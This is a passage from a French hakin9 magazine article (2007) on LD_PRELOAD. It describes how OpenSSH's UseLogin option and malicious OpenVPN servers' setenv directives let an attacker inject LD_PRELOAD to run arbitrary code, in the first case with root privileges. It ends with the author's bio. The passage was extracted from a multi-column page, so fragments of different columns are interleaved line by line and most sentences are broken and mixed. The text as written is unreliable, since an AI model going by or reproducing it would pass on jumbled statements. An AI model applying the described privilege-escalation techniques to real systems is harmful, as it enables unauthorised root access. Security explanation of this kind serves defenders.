devenir root. (il doit y avoir un pro- OpenVPN Conclusion
gramme avec CAP _ SETUID accordé ce Une vulnérabilité subsiste dans Nous vous avons fait connaitre la
qui n’est pas : setuid ). OpenVPN qui peut alors être exploité puissance de la variable LD _ PRELOAD
par des personnes avec de mauvaises et ce que l’on peut en faire. Elle est
OpenSSH attentions pour compromettre le systè- très utile pour débugger des sources
OpenSSH inclut une fonctionnalité me d’un utilisateur. La vulnérabilité est de logiciels protégés, ou des données
avec laquelle un utilisateur peut faire provoquée par des clients OpenVPN loguées. Imaginez un Daemon qui
en sorte que les variables d’environne- permettant au serveur de transmettre n’a aucune fonctionnalité pour log-
ment dépendent de la clé d’authentifi- des variables d’environnement incluant guer, maintenant vous pouvez sim-ple-
cation. Ces variables d’environnement LD _ PRELOAD vers des scripts Shell côté ment inclure le votre ! Ou bien si vous
sont spécifiées dans les fichiers : client via des configurations de directi- souhaitez voir ce que font vos utilisa-
authorized_keys (SSHv1) ou authori- ves setenv. Ceci peut être exploité dans teurs sur votre système vous pouvez
zed_keys2 (SSHv2) du répertoire local le but d’exécuter du code arbitraire sur créer une Session Log. Il y a bien plus
sur le serveur. Ceci est normalement un client vulnérable en placant un fi- de choses que vous pouvez faire avec :
sécurisé, étant donné qu’on accède chier malveillant dans une location con- LD _ PRELOAD, si vous avez trouvé cet ar-
seulement au Shell utilisateur appelé nue et en la chargeant. Le succès de ce ticle utile allez sur google pour trouver
avec les privilèges utilisateur. Cepen- type d’attaque exige qu'un utilisateur se plus d’informations. l
dant, quand le serveur OpenSSH sshd connecte à un serveur malveillant.
est configuré, pour utiliser le système
de login du programme (via la direc-
tive UseLogin oui dans sshd _ config ), la
Sur Internet
variable d’environnement est passée • http://developers.sun.com/solaris/articles/lib_interposers.html
au login, qui est appelé avec les pri- • http://www.GroundZero-Security.com
vilèges du SuperUtilisateur. Parce que
certaines variables d’environnement
telles que : LD _ BIBLIOTHÈQUE _ PATH et
LD _ PRELOAD peuvent être paramétrées
À propos de l’auteur
Stefan Klaas est dans le domaine de la sécurité depuis 10 ans IT Security et a travaillé
en utilisant la fonctionnalité précé-
en tant qu’administrateur réseau et Ingénieur logiciel. Depuis 2005 il est CEO de l’en-
dente, l’utilisateur peut permettre a treprise GroundZero Security Research en Allemagne. Il continue de développer des
un login d’exécuter du code arbitraire exploits de type Proof of Concept, recherchant activement les réponses aux questions
avec des privilèges SuperUtilisateur. liées à la sécurité informatique et en réalisant des tests d’intrusions.

76 hakin9 Nº 6/2007 www.hakin9.org

Vous aimerez peut-être aussi